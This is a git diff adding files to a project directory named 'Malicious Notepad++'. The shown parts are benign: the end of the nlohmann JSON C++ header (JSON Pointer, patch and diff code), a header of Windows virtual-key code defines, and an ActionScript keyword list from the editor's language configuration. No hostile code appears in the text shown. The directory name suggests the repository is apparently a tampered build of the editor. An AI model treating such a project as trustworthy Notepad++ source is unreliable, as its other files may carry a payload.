"-" always fails the range check + JSON_THROW(std::out_of_range("array index '-' (" + + std::to_string(ptr->m_value.array->size()) + + ") is out of range")); + } + + // error condition (cf. RFC 6901, Sect. 4) + if (reference_token.size() > 1 and reference_token[0] == '0') + { + JSON_THROW(std::domain_error("array index must not begin with '0'")); + } + + // note: at performs range check + ptr = &ptr->at(static_cast(std::stoi(reference_token))); + break; + } + + default: + { + JSON_THROW(std::out_of_range("unresolved reference token '" + reference_token + "'")); + } + } + } + + return *ptr; + } + + /*! + @brief return a const reference to the pointed to value + + @param[in] ptr a JSON value + + @return const reference to the JSON value pointed to by the JSON + pointer + */ + const_reference get_unchecked(const_pointer ptr) const + { + for (const auto& reference_token : reference_tokens) + { + switch (ptr->m_type) + { + case value_t::object: + { + // use unchecked object access + ptr = &ptr->operator[](reference_token); + break; + } + + case value_t::array: + { + if (reference_token == "-") + { + // "-" cannot be used for const access + JSON_THROW(std::out_of_range("array index '-' (" + + std::to_string(ptr->m_value.array->size()) + + ") is out of range")); + } + + // error condition (cf. RFC 6901, Sect. 4) + if (reference_token.size() > 1 and reference_token[0] == '0') + { + JSON_THROW(std::domain_error("array index must not begin with '0'")); + } + + // use unchecked array access + ptr = &ptr->operator[](static_cast(std::stoi(reference_token))); + break; + } + + default: + { + JSON_THROW(std::out_of_range("unresolved reference token '" + reference_token + "'")); + } + } + } + + return *ptr; + } + + const_reference get_checked(const_pointer ptr) const + { + for (const auto& reference_token : reference_tokens) + { + switch (ptr->m_type) + { + case value_t::object: + { + // note: at performs range check + ptr = &ptr->at(reference_token); + break; + } + + case value_t::array: + { + if (reference_token == "-") + { + // "-" always fails the range check + JSON_THROW(std::out_of_range("array index '-' (" + + std::to_string(ptr->m_value.array->size()) + + ") is out of range")); + } + + // error condition (cf. RFC 6901, Sect. 4) + if (reference_token.size() > 1 and reference_token[0] == '0') + { + JSON_THROW(std::domain_error("array index must not begin with '0'")); + } + + // note: at performs range check + ptr = &ptr->at(static_cast(std::stoi(reference_token))); + break; + } + + default: + { + JSON_THROW(std::out_of_range("unresolved reference token '" + reference_token + "'")); + } + } + } + + return *ptr; + } + + /// split the string input to reference tokens + static std::vector split(const std::string& reference_string) + { + std::vector result; + + // special case: empty reference string -> no reference tokens + if (reference_string.empty()) + { + return result; + } + + // check if nonempty reference string begins with slash + if (reference_string[0] != '/') + { + JSON_THROW(std::domain_error("JSON pointer must be empty or begin with '/'")); + } + + // extract the reference tokens: + // - slash: position of the last read slash (or end of string) + // - start: position after the previous slash + for ( + // search for the first slash after the first character + size_t slash = reference_string.find_first_of('/', 1), + // set the beginning of the first reference token + start = 1; + // we can stop if start == string::npos+1 = 0 + start != 0; + // set the beginning of the next reference token + // (will eventually be 0 if slash == std::string::npos) + start = slash + 1, + // find next slash + slash = reference_string.find_first_of('/', start)) + { + // use the text between the beginning of the reference token + // (start) and the last slash (slash). + auto reference_token = reference_string.substr(start, slash - start); + + // check reference tokens are properly escaped + for (size_t pos = reference_token.find_first_of('~'); + pos != std::string::npos; + pos = reference_token.find_first_of('~', pos + 1)) + { + assert(reference_token[pos] == '~'); + + // ~ must be followed by 0 or 1 + if (pos == reference_token.size() - 1 or + (reference_token[pos + 1] != '0' and + reference_token[pos + 1] != '1')) + { + JSON_THROW(std::domain_error("escape error: '~' must be followed with '0' or '1'")); + } + } + + // finally, store the reference token + unescape(reference_token); + result.push_back(reference_token); + } + + return result; + } + + private: + /*! + @brief replace all occurrences of a substring by another string + + @param[in,out] s the string to manipulate; changed so that all + occurrences of @a f are replaced with @a t + @param[in] f the substring to replace with @a t + @param[in] t the string to replace @a f + + @pre The search string @a f must not be empty. + + @since version 2.0.0 + */ + static void replace_substring(std::string& s, + const std::string& f, + const std::string& t) + { + assert(not f.empty()); + + for ( + size_t pos = s.find(f); // find first occurrence of f + pos != std::string::npos; // make sure f was found + s.replace(pos, f.size(), t), // replace with t + pos = s.find(f, pos + t.size()) // find next occurrence of f + ); + } + + /// escape tilde and slash + static std::string escape(std::string s) + { + // escape "~"" to "~0" and "/" to "~1" + replace_substring(s, "~", "~0"); + replace_substring(s, "/", "~1"); + return s; + } + + /// unescape tilde and slash + static void unescape(std::string& s) + { + // first transform any occurrence of the sequence '~1' to '/' + replace_substring(s, "~1", "/"); + // then transform any occurrence of the sequence '~0' to '~' + replace_substring(s, "~0", "~"); + } + + /*! + @param[in] reference_string the reference string to the current value + @param[in] value the value to consider + @param[in,out] result the result object to insert values to + + @note Empty objects or arrays are flattened to `null`. + */ + static void flatten(const std::string& reference_string, + const basic_json& value, + basic_json& result) + { + switch (value.m_type) + { + case value_t::array: + { + if (value.m_value.array->empty()) + { + // flatten empty array as null + result[reference_string] = nullptr; + } + else + { + // iterate array and use index as reference string + for (size_t i = 0; i < value.m_value.array->size(); ++i) + { + flatten(reference_string + "/" + std::to_string(i), + value.m_value.array->operator[](i), result); + } + } + break; + } + + case value_t::object: + { + if (value.m_value.object->empty()) + { + // flatten empty object as null + result[reference_string] = nullptr; + } + else + { + // iterate object and use keys as reference string + for (const auto& element : *value.m_value.object) + { + flatten(reference_string + "/" + escape(element.first), + element.second, result); + } + } + break; + } + + default: + { + // add primitive value with its reference string + result[reference_string] = value; + break; + } + } + } + + /*! + @param[in] value flattened JSON + + @return unflattened JSON + */ + static basic_json unflatten(const basic_json& value) + { + if (not value.is_object()) + { + JSON_THROW(std::domain_error("only objects can be unflattened")); + } + + basic_json result; + + // iterate the JSON object values + for (const auto& element : *value.m_value.object) + { + if (not element.second.is_primitive()) + { + JSON_THROW(std::domain_error("values in object must be primitive")); + } + + // assign value to reference pointed to by JSON pointer; Note + // that if the JSON pointer is "" (i.e., points to the whole + // value), function get_and_create returns a reference to + // result itself. An assignment will then create a primitive + // value. + json_pointer(element.first).get_and_create(result) = element.second; + } + + return result; + } + + private: + friend bool operator==(json_pointer const& lhs, + json_pointer const& rhs) noexcept + { + return lhs.reference_tokens == rhs.reference_tokens; + } + + friend bool operator!=(json_pointer const& lhs, + json_pointer const& rhs) noexcept + { + return !(lhs == rhs); + } + + /// the reference tokens + std::vector reference_tokens {}; + }; + + ////////////////////////// + // JSON Pointer support // + ////////////////////////// + + /// @name JSON Pointer functions + /// @{ + + /*! + @brief access specified element via JSON Pointer + + Uses a JSON pointer to retrieve a reference to the respective JSON value. + No bound checking is performed. Similar to @ref operator[](const typename + object_t::key_type&), `null` values are created in arrays and objects if + necessary. + + In particular: + - If the JSON pointer points to an object key that does not exist, it + is created an filled with a `null` value before a reference to it + is returned. + - If the JSON pointer points to an array index that does not exist, it + is created an filled with a `null` value before a reference to it + is returned. All indices between the current maximum and the given + index are also filled with `null`. + - The special value `-` is treated as a synonym for the index past the + end. + + @param[in] ptr a JSON pointer + + @return reference to the element pointed to by @a ptr + + @complexity Constant. + + @throw std::out_of_range if the JSON pointer can not be resolved + @throw std::domain_error if an array index begins with '0' + @throw std::invalid_argument if an array index was not a number + + @liveexample{The behavior is shown in the example.,operatorjson_pointer} + + @since version 2.0.0 + */ + reference operator[](const json_pointer& ptr) + { + return ptr.get_unchecked(this); + } + + /*! + @brief access specified element via JSON Pointer + + Uses a JSON pointer to retrieve a reference to the respective JSON value. + No bound checking is performed. The function does not change the JSON + value; no `null` values are created. In particular, the the special value + `-` yields an exception. + + @param[in] ptr JSON pointer to the desired element + + @return const reference to the element pointed to by @a ptr + + @complexity Constant. + + @throw std::out_of_range if the JSON pointer can not be resolved + @throw std::domain_error if an array index begins with '0' + @throw std::invalid_argument if an array index was not a number + + @liveexample{The behavior is shown in the example.,operatorjson_pointer_const} + + @since version 2.0.0 + */ + const_reference operator[](const json_pointer& ptr) const + { + return ptr.get_unchecked(this); + } + + /*! + @brief access specified element via JSON Pointer + + Returns a reference to the element at with specified JSON pointer @a ptr, + with bounds checking. + + @param[in] ptr JSON pointer to the desired element + + @return reference to the element pointed to by @a ptr + + @complexity Constant. + + @throw std::out_of_range if the JSON pointer can not be resolved + @throw std::domain_error if an array index begins with '0' + @throw std::invalid_argument if an array index was not a number + + @liveexample{The behavior is shown in the example.,at_json_pointer} + + @since version 2.0.0 + */ + reference at(const json_pointer& ptr) + { + return ptr.get_checked(this); + } + + /*! + @brief access specified element via JSON Pointer + + Returns a const reference to the element at with specified JSON pointer @a + ptr, with bounds checking. + + @param[in] ptr JSON pointer to the desired element + + @return reference to the element pointed to by @a ptr + + @complexity Constant. + + @throw std::out_of_range if the JSON pointer can not be resolved + @throw std::domain_error if an array index begins with '0' + @throw std::invalid_argument if an array index was not a number + + @liveexample{The behavior is shown in the example.,at_json_pointer_const} + + @since version 2.0.0 + */ + const_reference at(const json_pointer& ptr) const + { + return ptr.get_checked(this); + } + + /*! + @brief return flattened JSON value + + The function creates a JSON object whose keys are JSON pointers (see [RFC + 6901](https://tools.ietf.org/html/rfc6901)) and whose values are all + primitive. The original JSON value can be restored using the @ref + unflatten() function. + + @return an object that maps JSON pointers to primitive values + + @note Empty objects and arrays are flattened to `null` and will not be + reconstructed correctly by the @ref unflatten() function. + + @complexity Linear in the size the JSON value. + + @liveexample{The following code shows how a JSON object is flattened to an + object whose keys consist of JSON pointers.,flatten} + + @sa @ref unflatten() for the reverse function + + @since version 2.0.0 + */ + basic_json flatten() const + { + basic_json result(value_t::object); + json_pointer::flatten("", *this, result); + return result; + } + + /*! + @brief unflatten a previously flattened JSON value + + The function restores the arbitrary nesting of a JSON value that has been + flattened before using the @ref flatten() function. The JSON value must + meet certain constraints: + 1. The value must be an object. + 2. The keys must be JSON pointers (see + [RFC 6901](https://tools.ietf.org/html/rfc6901)) + 3. The mapped values must be primitive JSON types. + + @return the original JSON from a flattened version + + @note Empty objects and arrays are flattened by @ref flatten() to `null` + values and can not unflattened to their original type. Apart from + this example, for a JSON value `j`, the following is always true: + `j == j.flatten().unflatten()`. + + @complexity Linear in the size the JSON value. + + @liveexample{The following code shows how a flattened JSON object is + unflattened into the original nested JSON object.,unflatten} + + @sa @ref flatten() for the reverse function + + @since version 2.0.0 + */ + basic_json unflatten() const + { + return json_pointer::unflatten(*this); + } + + /// @} + + ////////////////////////// + // JSON Patch functions // + ////////////////////////// + + /// @name JSON Patch functions + /// @{ + + /*! + @brief applies a JSON patch + + [JSON Patch](http://jsonpatch.com) defines a JSON document structure for + expressing a sequence of operations to apply to a JSON) document. With + this function, a JSON Patch is applied to the current JSON value by + executing all operations from the patch. + + @param[in] json_patch JSON patch document + @return patched document + + @note The application of a patch is atomic: Either all operations succeed + and the patched document is returned or an exception is thrown. In + any case, the original value is not changed: the patch is applied + to a copy of the value. + + @throw std::out_of_range if a JSON pointer inside the patch could not + be resolved successfully in the current JSON value; example: `"key baz + not found"` + @throw invalid_argument if the JSON patch is malformed (e.g., mandatory + attributes are missing); example: `"operation add must have member path"` + + @complexity Linear in the size of the JSON value and the length of the + JSON patch. As usually only a fraction of the JSON value is affected by + the patch, the complexity can usually be neglected. + + @liveexample{The following code shows how a JSON patch is applied to a + value.,patch} + + @sa @ref diff -- create a JSON patch by comparing two JSON values + + @sa [RFC 6902 (JSON Patch)](https://tools.ietf.org/html/rfc6902) + @sa [RFC 6901 (JSON Pointer)](https://tools.ietf.org/html/rfc6901) + + @since version 2.0.0 + */ + basic_json patch(const basic_json& json_patch) const + { + // make a working copy to apply the patch to + basic_json result = *this; + + // the valid JSON Patch operations + enum class patch_operations {add, remove, replace, move, copy, test, invalid}; + + const auto get_op = [](const std::string op) + { + if (op == "add") + { + return patch_operations::add; + } + if (op == "remove") + { + return patch_operations::remove; + } + if (op == "replace") + { + return patch_operations::replace; + } + if (op == "move") + { + return patch_operations::move; + } + if (op == "copy") + { + return patch_operations::copy; + } + if (op == "test") + { + return patch_operations::test; + } + + return patch_operations::invalid; + }; + + // wrapper for "add" operation; add value at ptr + const auto operation_add = [&result](json_pointer & ptr, basic_json val) + { + // adding to the root of the target document means replacing it + if (ptr.is_root()) + { + result = val; + } + else + { + // make sure the top element of the pointer exists + json_pointer top_pointer = ptr.top(); + if (top_pointer != ptr) + { + result.at(top_pointer); + } + + // get reference to parent of JSON pointer ptr + const auto last_path = ptr.pop_back(); + basic_json& parent = result[ptr]; + + switch (parent.m_type) + { + case value_t::null: + case value_t::object: + { + // use operator[] to add value + parent[last_path] = val; + break; + } + + case value_t::array: + { + if (last_path == "-") + { + // special case: append to back + parent.push_back(val); + } + else + { + const auto idx = std::stoi(last_path); + if (static_cast(idx) > parent.size()) + { + // avoid undefined behavior + JSON_THROW(std::out_of_range("array index " + std::to_string(idx) + " is out of range")); + } + else + { + // default case: insert add offset + parent.insert(parent.begin() + static_cast(idx), val); + } + } + break; + } + + default: + { + // if there exists a parent it cannot be primitive + assert(false); // LCOV_EXCL_LINE + } + } + } + }; + + // wrapper for "remove" operation; remove value at ptr + const auto operation_remove = [&result](json_pointer & ptr) + { + // get reference to parent of JSON pointer ptr + const auto last_path = ptr.pop_back(); + basic_json& parent = result.at(ptr); + + // remove child + if (parent.is_object()) + { + // perform range check + auto it = parent.find(last_path); + if (it != parent.end()) + { + parent.erase(it); + } + else + { + JSON_THROW(std::out_of_range("key '" + last_path + "' not found")); + } + } + else if (parent.is_array()) + { + // note erase performs range check + parent.erase(static_cast(std::stoi(last_path))); + } + }; + + // type check + if (not json_patch.is_array()) + { + // a JSON patch must be an array of objects + JSON_THROW(std::invalid_argument("JSON patch must be an array of objects")); + } + + // iterate and apply the operations + for (const auto& val : json_patch) + { + // wrapper to get a value for an operation + const auto get_value = [&val](const std::string & op, + const std::string & member, + bool string_type) -> basic_json& + { + // find value + auto it = val.m_value.object->find(member); + + // context-sensitive error message + const auto error_msg = (op == "op") ? "operation" : "operation '" + op + "'"; + + // check if desired value is present + if (it == val.m_value.object->end()) + { + JSON_THROW(std::invalid_argument(error_msg + " must have member '" + member + "'")); + } + + // check if result is of type string + if (string_type and not it->second.is_string()) + { + JSON_THROW(std::invalid_argument(error_msg + " must have string member '" + member + "'")); + } + + // no error: return value + return it->second; + }; + + // type check + if (not val.is_object()) + { + JSON_THROW(std::invalid_argument("JSON patch must be an array of objects")); + } + + // collect mandatory members + const std::string op = get_value("op", "op", true); + const std::string path = get_value(op, "path", true); + json_pointer ptr(path); + + switch (get_op(op)) + { + case patch_operations::add: + { + operation_add(ptr, get_value("add", "value", false)); + break; + } + + case patch_operations::remove: + { + operation_remove(ptr); + break; + } + + case patch_operations::replace: + { + // the "path" location must exist - use at() + result.at(ptr) = get_value("replace", "value", false); + break; + } + + case patch_operations::move: + { + const std::string from_path = get_value("move", "from", true); + json_pointer from_ptr(from_path); + + // the "from" location must exist - use at() + basic_json v = result.at(from_ptr); + + // The move operation is functionally identical to a + // "remove" operation on the "from" location, followed + // immediately by an "add" operation at the target + // location with the value that was just removed. + operation_remove(from_ptr); + operation_add(ptr, v); + break; + } + + case patch_operations::copy: + { + const std::string from_path = get_value("copy", "from", true);; + const json_pointer from_ptr(from_path); + + // the "from" location must exist - use at() + result[ptr] = result.at(from_ptr); + break; + } + + case patch_operations::test: + { + bool success = false; + JSON_TRY + { + // check if "value" matches the one at "path" + // the "path" location must exist - use at() + success = (result.at(ptr) == get_value("test", "value", false)); + } + JSON_CATCH (std::out_of_range&) + { + // ignore out of range errors: success remains false + } + + // throw an exception if test fails + if (not success) + { + JSON_THROW(std::domain_error("unsuccessful: " + val.dump())); + } + + break; + } + + case patch_operations::invalid: + { + // op must be "add", "remove", "replace", "move", "copy", or + // "test" + JSON_THROW(std::invalid_argument("operation value '" + op + "' is invalid")); + } + } + } + + return result; + } + + /*! + @brief creates a diff as a JSON patch + + Creates a [JSON Patch](http://jsonpatch.com) so that value @a source can + be changed into the value @a target by calling @ref patch function. + + @invariant For two JSON values @a source and @a target, the following code + yields always `true`: + @code {.cpp} + source.patch(diff(source, target)) == target; + @endcode + + @note Currently, only `remove`, `add`, and `replace` operations are + generated. + + @param[in] source JSON value to compare from + @param[in] target JSON value to compare against + @param[in] path helper value to create JSON pointers + + @return a JSON patch to convert the @a source to @a target + + @complexity Linear in the lengths of @a source and @a target. + + @liveexample{The following code shows how a JSON patch is created as a + diff for two JSON values.,diff} + + @sa @ref patch -- apply a JSON patch + + @sa [RFC 6902 (JSON Patch)](https://tools.ietf.org/html/rfc6902) + + @since version 2.0.0 + */ + static basic_json diff(const basic_json& source, + const basic_json& target, + const std::string& path = "") + { + // the patch + basic_json result(value_t::array); + + // if the values are the same, return empty patch + if (source == target) + { + return result; + } + + if (source.type() != target.type()) + { + // different types: replace value + result.push_back( + { + {"op", "replace"}, + {"path", path}, + {"value", target} + }); + } + else + { + switch (source.type()) + { + case value_t::array: + { + // first pass: traverse common elements + size_t i = 0; + while (i < source.size() and i < target.size()) + { + // recursive call to compare array values at index i + auto temp_diff = diff(source[i], target[i], path + "/" + std::to_string(i)); + result.insert(result.end(), temp_diff.begin(), temp_diff.end()); + ++i; + } + + // i now reached the end of at least one array + // in a second pass, traverse the remaining elements + + // remove my remaining elements + const auto end_index = static_cast(result.size()); + while (i < source.size()) + { + // add operations in reverse order to avoid invalid + // indices + result.insert(result.begin() + end_index, object( + { + {"op", "remove"}, + {"path", path + "/" + std::to_string(i)} + })); + ++i; + } + + // add other remaining elements + while (i < target.size()) + { + result.push_back( + { + {"op", "add"}, + {"path", path + "/" + std::to_string(i)}, + {"value", target[i]} + }); + ++i; + } + + break; + } + + case value_t::object: + { + // first pass: traverse this object's elements + for (auto it = source.begin(); it != source.end(); ++it) + { + // escape the key name to be used in a JSON patch + const auto key = json_pointer::escape(it.key()); + + if (target.find(it.key()) != target.end()) + { + // recursive call to compare object values at key it + auto temp_diff = diff(it.value(), target[it.key()], path + "/" + key); + result.insert(result.end(), temp_diff.begin(), temp_diff.end()); + } + else + { + // found a key that is not in o -> remove it + result.push_back(object( + { + {"op", "remove"}, + {"path", path + "/" + key} + })); + } + } + + // second pass: traverse other object's elements + for (auto it = target.begin(); it != target.end(); ++it) + { + if (source.find(it.key()) == source.end()) + { + // found a key that is not in this -> add it + const auto key = json_pointer::escape(it.key()); + result.push_back( + { + {"op", "add"}, + {"path", path + "/" + key}, + {"value", it.value()} + }); + } + } + + break; + } + + default: + { + // both primitive type: replace value + result.push_back( + { + {"op", "replace"}, + {"path", path}, + {"value", target} + }); + break; + } + } + } + + return result; + } + + /// @} +}; + +///////////// +// presets // +///////////// + +/*! +@brief default JSON class + +This type is the default specialization of the @ref basic_json class which +uses the standard template types. + +@since version 1.0.0 +*/ +using json = basic_json<>; +} // namespace nlohmann + + +/////////////////////// +// nonmember support // +/////////////////////// + +// specialization of std::swap, and std::hash +namespace std +{ +/*! +@brief exchanges the values of two JSON objects + +@since version 1.0.0 +*/ +template<> +inline void swap(nlohmann::json& j1, + nlohmann::json& j2) noexcept( + is_nothrow_move_constructible::value and + is_nothrow_move_assignable::value + ) +{ + j1.swap(j2); +} + +/// hash value for JSON objects +template<> +struct hash +{ + /*! + @brief return a hash value for a JSON object + + @since version 1.0.0 + */ + std::size_t operator()(const nlohmann::json& j) const + { + // a naive hashing via the string representation + const auto& h = hash(); + return h(j.dump()); + } +}; +} // namespace std + +/*! +@brief user-defined string literal for JSON values + +This operator implements a user-defined string literal for JSON objects. It +can be used by adding `"_json"` to a string literal and returns a JSON object +if no parse error occurred. + +@param[in] s a string representation of a JSON object +@param[in] n the length of string @a s +@return a JSON object + +@since version 1.0.0 +*/ +inline nlohmann::json operator "" _json(const char* s, std::size_t n) +{ + return nlohmann::json::parse(s, s + n); +} + +/*! +@brief user-defined string literal for JSON pointer + +This operator implements a user-defined string literal for JSON Pointers. It +can be used by adding `"_json_pointer"` to a string literal and returns a JSON pointer +object if no parse error occurred. + +@param[in] s a string representation of a JSON Pointer +@param[in] n the length of string @a s +@return a JSON pointer object + +@since version 2.0.0 +*/ +inline nlohmann::json::json_pointer operator "" _json_pointer(const char* s, std::size_t n) +{ + return nlohmann::json::json_pointer(std::string(s, n)); +} + +// restore GCC/clang diagnostic settings +#if defined(__clang__) || defined(__GNUC__) || defined(__GNUG__) + #pragma GCC diagnostic pop +#endif + +// clean up +#undef JSON_CATCH +#undef JSON_DEPRECATED +#undef JSON_THROW +#undef JSON_TRY + +#endif diff --git a/Malicious Notepad++/src/keys.h b/Malicious Notepad++/src/keys.h new file mode 100644 index 0000000..9fc3abd --- /dev/null +++ b/Malicious Notepad++/src/keys.h @@ -0,0 +1,206 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +/* +See winuser.h +Altered list to support VK_0-9 and VK_A-Z +*/ + +#define VK_NULL 0x00 + +#define VK_CANCEL 0x03 + +#define VK_BACK 0x08 +#define VK_TAB 0x09 + +#define VK_CLEAR 0x0C +#define VK_RETURN 0x0D + +#define VK_SHIFT 0x10 +#define VK_CONTROL 0x11 +#define VK_MENU 0x12 +#define VK_PAUSE 0x13 +#define VK_CAPITAL 0x14 + +#define VK_KANA 0x15 +#define VK_HANGUL 0x15 +#define VK_JUNJA 0x17 +#define VK_FINAL 0x18 +#define VK_HANJA 0x19 +#define VK_KANJI 0x19 + +#define VK_ESCAPE 0x1B + +#define VK_CONVERT 0x1C +#define VK_NONCONVERT 0x1D +#define VK_ACCEPT 0x1E +#define VK_MODECHANGE 0x1F + +#define VK_SPACE 0x20 +#define VK_PRIOR 0x21 +#define VK_NEXT 0x22 +#define VK_END 0x23 +#define VK_HOME 0x24 +#define VK_LEFT 0x25 +#define VK_UP 0x26 +#define VK_RIGHT 0x27 +#define VK_DOWN 0x28 +#define VK_SELECT 0x29 +#define VK_PRINT 0x2A +#define VK_EXECUTE 0x2B +#define VK_SNAPSHOT 0x2C +#define VK_INSERT 0x2D +#define VK_DELETE 0x2E +#define VK_HELP 0x2F + +#define VK_0 0x30 +#define VK_1 0x31 +#define VK_2 0x32 +#define VK_3 0x33 +#define VK_4 0x34 +#define VK_5 0x35 +#define VK_6 0x36 +#define VK_7 0x37 +#define VK_8 0x38 +#define VK_9 0x39 +#define VK_A 0x41 +#define VK_B 0x42 +#define VK_C 0x43 +#define VK_D 0x44 +#define VK_E 0x45 +#define VK_F 0x46 +#define VK_G 0x47 +#define VK_H 0x48 +#define VK_I 0x49 +#define VK_J 0x4A +#define VK_K 0x4B +#define VK_L 0x4C +#define VK_M 0x4D +#define VK_N 0x4E +#define VK_O 0x4F +#define VK_P 0x50 +#define VK_Q 0x51 +#define VK_R 0x52 +#define VK_S 0x53 +#define VK_T 0x54 +#define VK_U 0x55 +#define VK_V 0x56 +#define VK_W 0x57 +#define VK_X 0x58 +#define VK_Y 0x59 +#define VK_Z 0x5A + +#define VK_LWIN 0x5B +#define VK_RWIN 0x5C +#define VK_APPS 0x5D + + +#define VK_SLEEP 0x5F + +#define VK_NUMPAD0 0x60 +#define VK_NUMPAD1 0x61 +#define VK_NUMPAD2 0x62 +#define VK_NUMPAD3 0x63 +#define VK_NUMPAD4 0x64 +#define VK_NUMPAD5 0x65 +#define VK_NUMPAD6 0x66 +#define VK_NUMPAD7 0x67 +#define VK_NUMPAD8 0x68 +#define VK_NUMPAD9 0x69 +#define VK_MULTIPLY 0x6A +#define VK_ADD 0x6B +#define VK_SEPARATOR 0x6C +#define VK_SUBTRACT 0x6D +#define VK_DECIMAL 0x6E +#define VK_DIVIDE 0x6F +#define VK_F1 0x70 +#define VK_F2 0x71 +#define VK_F3 0x72 +#define VK_F4 0x73 +#define VK_F5 0x74 +#define VK_F6 0x75 +#define VK_F7 0x76 +#define VK_F8 0x77 +#define VK_F9 0x78 +#define VK_F10 0x79 +#define VK_F11 0x7A +#define VK_F12 0x7B +#define VK_F13 0x7C +#define VK_F14 0x7D +#define VK_F15 0x7E +#define VK_F16 0x7F +#define VK_F17 0x80 +#define VK_F18 0x81 +#define VK_F19 0x82 +#define VK_F20 0x83 +#define VK_F21 0x84 +#define VK_F22 0x85 +#define VK_F23 0x86 +#define VK_F24 0x87 + +#define VK_NUMLOCK 0x90 +#define VK_SCROLL 0x91 + +#define VK_OEM_1 0xBA // ';:' for US +#define VK_OEM_PLUS 0xBB // '+' any country +#define VK_OEM_COMMA 0xBC // ',' any country +#define VK_OEM_MINUS 0xBD // '-' any country +#define VK_OEM_PERIOD 0xBE // '.' any country +#define VK_OEM_2 0xBF // '/?' for US +#define VK_OEM_3 0xC0 // '`~' for US + +#define VK_OEM_4 0xDB // '[{' for US +#define VK_OEM_5 0xDC // '\|' for US +#define VK_OEM_6 0xDD // ']}' for US +#define VK_OEM_7 0xDE // ''"' for US +#define VK_OEM_8 0xDF + +#define VK_OEM_102 0xE2 // "<>" or "\|" on RT 102-key kbd. + +#define VK_OEM_RESET 0xE9 +#define VK_OEM_JUMP 0xEA +#define VK_OEM_PA1 0xEB +#define VK_OEM_PA2 0xEC +#define VK_OEM_PA3 0xED +#define VK_OEM_WSCTRL 0xEE +#define VK_OEM_CUSEL 0xEF +#define VK_OEM_ATTN 0xF0 +#define VK_OEM_FINISH 0xF1 +#define VK_OEM_COPY 0xF2 +#define VK_OEM_AUTO 0xF3 +#define VK_OEM_ENLW 0xF4 +#define VK_OEM_BACKTAB 0xF5 +#define VK_ATTN 0xF6 +#define VK_CRSEL 0xF7 +#define VK_EXSEL 0xF8 +#define VK_EREOF 0xF9 +#define VK_PLAY 0xFA +#define VK_ZOOM 0xFB +#define VK_NONAME 0xFC +#define VK_PA1 0xFD +#define VK_OEM_CLEAR 0xFE \ No newline at end of file diff --git a/Malicious Notepad++/src/langs.model.xml b/Malicious Notepad++/src/langs.model.xml new file mode 100644 index 0000000..d8d5a9f --- /dev/null +++ b/Malicious Notepad++/src/langs.model.xml @@ -0,0 +1,401 @@ + + + + + + + add for lt tellTarget and function ne this break ge new typeof continue gt not var delete if on void do ifFrameLoaded onClipEvent while else in or with eq le return instanceof case default switch + arguments constructor class dynamic false extends implements import interface intrinsic newline null private public super static true undefined Accessibility Arguments Array Boolean Button Camera ContextMenu ContextMenuItem CustomActions Color Date Error Function Key LoadVars LocalConnection Math Microphone Mouse MovieClip MovieClipLoader NetConnection NetStream Number PrintJob Object TextField StyleSheet TextFormat TextSnapshot SharedObject Selection Sound Stage String System XML XMLNode XMLSocket Void abs acos asin atan atan2 ceil cos exp floor log max min pow random round sin sqrt tan onActivity onChanged onClose onConnect onData onDragOut onDragOver onEnterFrame onID3 onKeyDown onKeyUp onKillFocus onLoad onLoadComplete onLoadError onLoadInit onLoadProgress onLoadStart onMouseDown onMouseMove onMouseUp onMouseWheel onPress onRelease onReleaseOutside onResize onRollOut onRollOver onScroller onSelect onSetFocus onSoundComplete onStatus onUnload onUpdate onXML addListener addPage addProperty addRequestHeader allowDomain allowInsecureDomain appendChild apply applyChanges asfunction attachAudio attachMovie attachSound attachVideo beginFill beginGradientFill call charAt charCodeAt clear clearInterval cloneNode close concat connect copy createElement createEmptyMovieClip createTextField createTextNode curveTo domain duplicateMovieClip endFill escape eval evaluate findText fscommand flush fromCharCode get getAscii getBeginIndex getBounds getBytesLoaded getBytesTotal getCaretIndex getCode getCount getDate getDay getDepth getEndIndex getFocus getFontList getFullYear getHours getInstanceAtDepth getLocal getMilliseconds getMinutes getMonth getNewTextFormat getNextHighestDepth getPan getProggress getProperty getRGB getSeconds getSelected getSelectedText getSize getStyle getStyleNames getSWFVersion getText getTextExtent getTextFormat getTextSnapshot getTime getTimer getTimezoneOffset getTransform getURL getUTCDate getUTCDay getUTCFullYear getUTCHours getUTCMilliseconds getUTCMinutes getUTCMonth getUTCSeconds getVersion getVolume getYear globalToLocal gotoAndPlay gotoAndStop hasChildNodes hide hideBuiltInItems hitTest hitTestTextNearPos indexOf insertBefore install isActive isDown isToggled join lastIndexOf lineStyle lineTo list load loadClip loadMovie loadMovieNum loadSound loadVariables loadVariablesNum localToGlobal mbchr mblength mbord mbsubstring MMExecute moveTo nextFrame nextScene parseCSS parseFloat parseInt parseXML pause play pop prevScene print printAsBitmap printAsBitmapNum printNum push registerClass removeListener removeMovieClip removeNode removeTextField replaceSel replaceText reverse seek send sendAndLoad setBufferTime set setDate setFocus setFullYear setGain setHours setInterval setMask setMilliseconds setMinutes setMode setMonth setMotionLevel setNewTextFormat setPan setProperty setQuality setRate setRGB setSeconds setSelectColor setSelected setSelection setSilenceLevel setStyle setTextFormat setTime setTransform setUseEchoSuppression setUTCDate setUTCFullYear setUTCHours setUTCMilliseconds setUTCMinutes setUTCMonth setUTCSeconds setVolume setYear shift show showSettings silenceLevel silenceTimeout slice sort sortOn splice split start startDrag stop stopAllSounds stopDrag substr substring swapDepths toggleHighQuality toLowerCase toString toUpperCase trace unescape uninstall unLoadClip unloadMovie unloadMovieNum unshift unwatch updateAfterEvent updateProperties useEchoSuppression valueOf watch endinitclip include initclip __proto__ _accProps _alpha _currentframe _droptarget _focusrect _framesloaded _global _height _highquality _level _lockroot _name _parent _quality _root _rotation _soundbuftime _target _totalframes _url _visible _width _x _xmouse _xscale _y _ymouse _yscale activityLevel align attributes autoSize avHardwareDisable background backgroundColor 